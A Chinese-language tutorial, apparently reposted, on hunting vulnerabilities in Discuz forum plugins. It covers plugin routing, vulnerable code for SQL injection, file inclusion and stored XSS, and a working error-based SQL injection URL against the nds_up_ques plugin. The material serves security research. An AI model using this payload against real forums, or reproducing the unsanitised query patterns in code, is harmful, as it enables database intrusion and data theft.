Disucz 插件漏洞挖掘
前言Discuz 是北京康盛新创科技有限责任公司推出的一套通用的社区论坛软件系统。自2001年6月面世以来,Discuz!已拥有15年以上的应用历史和200多万网站用户案例,是全球成熟度最高、覆盖率最大的论坛软件系统之一。 来自第三方漏洞平台Discuz的查询结果: 不完全统计总数: 549 接下来本文主要从五个方面来阐述Disucz 插件漏洞的挖掘技巧; 希望能给大家带来一些思路和灵感! 本文包含以下内容
1.基本函数的了解在Discuz中存在如下几个重要的函数 $Result=DB::query("select 1");//用来执行sql语句? DB::result($Result); //用来获取执行SQL语句的之后的结果? DB::fetch ( $query2 );// 也用来获取执行SQL语句的之后的结果? showmessage(); //用来输出discuz的提示信息,并且输出完之后会退出? DB::table ( 'ques_user' ); //用来根据自定义的表前缀生成出带有表前缀的表名(discuz就算sql语句报错输出的时候也会自动将表前缀隐)? include template ( 'nds_up_ques:ques_stats' ); //template会返回nds_up_ques插件目录下template目录中的ques_stats.html,用来包含使用模版 2.基本变量的了解$_G ['gp_orderby'];//前面的gp代表get和post,表示从get和post方式获取orderby参数。? $_G ['cache'] ['plugin'] ['nds_up_ques']['creditmax']; //表示读取data目录下cache目录里面nds_up_ques文件下面的creditmax,一般不可控? $_G ['adminid'];// 管理员ID的标志位,普通用户登录的话就为空? $_G ['uid']; ? ?// 用户ID的标志位,普通用户登录则存在的当前用户的ID,未登录则为空? IN_DISCUZ,IN_ADMINCP //俩个宏,一个是判断是否在dz的代码调用,一个是判断是否是后台调用,IN_DISCUZ是用来判断是否是直接访问的,若直接访问则不给予执行;一般ADMINCP用来判断是否后台调用也就///是判断是否是管理员使用,也代表该插件只能在后台调用 3.插件的调用方法在discuz中大部分插件都是通过plugin.php文件来调用的 并且通过id参数来指明所需调用的插件,例如如下url http://www.discuz.net/plugin.php?id=dc_mall 最终调用的文件将是 ?/source/plugins/dc_mall/dc_mall.inc.php 如果url是 http://www.discuz.net/plugin.php?id=dc_mall:dc_mallaction ? 最终调用的文件将是 /source/plugins/dc_mall/dc_mallaction.inc.php 比如我们挖某一个插件中的dc_mallaction.inc.php存在漏洞就可以同过如上的方法调用到该文件 plugin.php的id参数只允许包含Inc.php后缀的文件名,若发现dc_mallaction.php存在漏洞,是无法直接通过plugin.php调用的 4.几个漏洞实例我们在官方应用市场随机抽取了几个插件来测试 (1)注入 某打赏插件 #漏洞文件 reward.class.php public function viewthread_useraction(){ ?? ? ? ? ? ? ? ? global $_G; ?? ? ? ? ? ? ? ? $tid = $_G['tid']; ?? ? ? ? ? ? ? ? $fid = $_G['fid']; ?? ? ? ? ? ? ? ? $groupid = $_G['groupid']; ?? ? ? ? ? ? ? ? $sql = 'SELECT tid FROM '.DB::table('huoniao_dashang').' WHERE tid='.$tid; ?? ? ? ? ? ? ? ? $count = DB::num_rows(DB::query($sql)); ? ? ? ? ? ? ? ? //直接带入查询 (2)任意文件包含 某积分商城插件 #漏洞文件 dc_mall.inc.php #包含测试 (3)XSS 某活动插件 #漏洞文件 event_list.inc.php //这些参数只是经过了转义,但是并没有将html标签实体化 //导致这里直接插入数据库,最后在后台输出将会导致存储xss 5.漏洞Exp的构造这里以 nds_up_ques 插件作为第一个例子,其存在一个sql注入漏洞 在nds_ques_viewanswer.inc.php文件中,首先,通过该文件的文件得知我们可以通过 http://www.discuz.net/plugin.php?id=nds_up_ques:nds_ques_viewanswer 这样的url去调用到这个文件; ?然后下面我们来看其中的代码: //忽略一点无关紧要的代码 $query = DB::query ( " SELECT * FROM " . DB::table ( 'ques_user' ) . " WHERE `topicid`='$topicid' " . $wherestr . " ?ORDER by $orderby $imes LIMIT $start_limit,$perpage" ); //这里可以看到把orderby和imes直接带入查询了,导致了sql注入 那么最终我们的exp就是: ?http://www.discuz.net/plugin.php?id=nds_up_ques:nds_ques_viewanswer&&srchtxt=1&orderby=dateline and 1=(updatexml(1,concat(0x27,version()),1))-- 工具推荐:Dzscan(dzscan.org) Discuz扫描器,完全针对国产Disucz论坛进行开发的扫描器,深度挖掘存在的漏洞,并且有一个正在长期维护的漏洞库。6.参考《Discuz!插件开发文档》 《CoNd0r@CodeScan》 (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |